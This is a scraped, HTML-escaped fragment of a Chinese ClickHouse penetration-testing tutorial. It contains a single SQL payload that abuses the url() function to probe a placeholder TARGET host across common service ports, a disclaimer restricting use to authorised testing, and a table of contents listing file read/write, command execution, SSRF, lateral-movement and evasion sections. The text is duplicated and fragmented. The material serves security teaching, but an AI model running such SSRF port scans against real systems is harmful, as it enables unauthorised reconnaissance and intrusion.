<\/span><\/span><\/span><\/span>SELECT<\/span> '80'<\/span> as<\/span> port, *<\/span> FROM<\/span> url('http:\/\/TARGET:80\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '443'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:443\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '8080'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:8080\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '8443'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:8443\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '3306'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:3306\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '6379'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:6379\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '27017'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:27017\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span> <\/span><\/span>UNION<\/span> ALL<\/span> SELECT<\/span> '9200'<\/span>, *<\/span> FROM<\/span> url('http:\/\/TARGET:9200\/'<\/span>, 'RawBLOB'<\/span>, 'd String'<\/span>) SETTINGS connect_timeout=<\/span>2<\/span>; <\/span><\/span><\/code><\/pre> 注意<\/strong>：本教学文档仅用于安全研究和授权测试目的，请勿用于非法用途。在进行任何渗透测试之前，确保已获得相关授权。<\/p>

ClickHouse 数据库渗透测试教学文档<\/h1>

1. 概述<\/h2>

1.1 什么是 ClickHouse<\/h3> ClickHouse 是由 Yandex 开发的开源列式数据库管理系统，专为在线分析处理（OLAP）场景设计。它能够高效处理大规模数据集，支持快速查询和实时数据分析。<\/p>

2. 信息收集<\/h2>

3. 权限评估<\/h2>

4. 文件读取利用<\/h2>

5. 文件写入利用<\/h2>

6. 命令执行利用<\/h2>

7. SSRF 利用<\/h2>

8. 云环境利用<\/h2>

9. 横向移动<\/h2>

10. 防御绕过<\/h2>

11. 常见限制与绕过<\/h2>

12. 工具与脚本<\/h2>

1.1 什么是 ClickHouse<\/h3>
ClickHouse 是由 Yandex 开发的开源列式数据库管理系统，专为在线分析处理（OLAP）场景设计。它能够高效处理大规模数据集，支持快速查询和实时数据分析。<\/p>